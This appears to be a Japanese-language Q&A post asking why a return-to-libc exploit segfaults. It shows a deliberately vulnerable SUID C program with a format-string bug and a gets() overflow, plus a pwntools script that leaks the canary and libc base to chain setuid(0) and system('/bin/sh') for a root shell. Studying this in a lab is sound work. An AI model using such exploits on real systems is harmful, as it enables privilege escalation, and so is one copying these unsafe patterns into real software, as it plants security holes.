-1

すべての保護を有効にして、単純な x64 C バイナリでバッファ オーバーフローを作成しようとしています (つまり、ASLR、カナリア、PIE、NX、完全な RelRO - 無効な Fortify)。(更新された)x64 Kali Linux 2020.3ディストリビューションを使用しています(公式の攻撃的なセキュリティWebサイトのvmwareイメージを使用するvmwareで)。root としてプログラムをコンパイルし、権限のないアカウントから root 権限でプログラムにアクセスできるように SUID ビットを有効にしています。脆弱なプログラム ( example5.c) のコードは次のとおりです。

#include <stdio.h>

int main(int argc, char *argv[]){

        vuln_func(argv[1]);
        return 0;

}

void vuln_func(char *input){

        char buffer[256];

        printf(input);

        printf("\n");

        gets(buffer);
}

プログラムをコンパイルするには、次を使用していますMakefile

all: 
         gcc example5.c -g -Wl,-z,relro,-z,now -o example5 -fstack-protector -D_FORTIFY_SOURCE=0 
clean:
        rm example5

そこで、ターミナルを開いて次のように入力します。

su
<enter root password>
make
chmod u+s example5
exit

次に、pwntools を使用して Python 3.8.6 で作成したエクスプロイトを使用して、カナリアと libc のベースアドレスをリークし ( libc-2.31.so)、return-to-libc 攻撃を実行します (2 つのガジェットを使用)。エクスプロイトは次のとおりです ( exploit5.py):

#!/usr/bin/env python3

from pwn import *

p = process(["./example5", "%21$llx:%41$llx:"])

leak = p.readline().decode("utf-8").split(":")

libc_base = int(leak[0], 16) - 0x1f83cc
canary = int(leak[1], 16)

log.success(f"libc base: {hex(libc_base)}")
log.success(f"stack canary: {hex(canary)}")

poprdi_ret  = p64(libc_base + 0x2679e)  # pop rdi; ret

padding = b"A"*264 # junk - padding
padding += p64(canary) # stack canary
padding += b"B"*8 # override RBP address

"""
2 gadgets
setuid(0) - run as root 
system("/bin/sh") - execute a shell
"""
code = b""
code += poprdi_ret # pop rdi; ret
code += p64(0x0) # root uid
code += p64(libc_base + 0x25000 + 0xa70c0) # setuid address
code += poprdi_ret # pop rdi; ret
code += p64(libc_base + 0x18a156) # /bin/sh address
code += p64(libc_base + 0x25000 + 0x23db0) # system address
code += p64(libc_base + 0x25000 + 0x195c0) # exit address

payload = padding + code

p.sendline(payload)

p.interactive()

値は適切にリークされていますが、次のようにセグメンテーション違反が発生します。

kali@kali:~/Desktop/boe/example5$ ./exploit5.py 
[+] Starting local process './example5': pid 3288
[+] libc base: 0x7ffff7df5000
[+] stack canary: 0xccf346b075ea7800
[*] Switching to interactive mode
[*] Process './example5' stopped with exit code -11 (SIGSEGV) (pid 3288)
[*] Got EOF while reading in interactive
$ 
[*] Got EOF while sending in interactive
4

2 に答える 2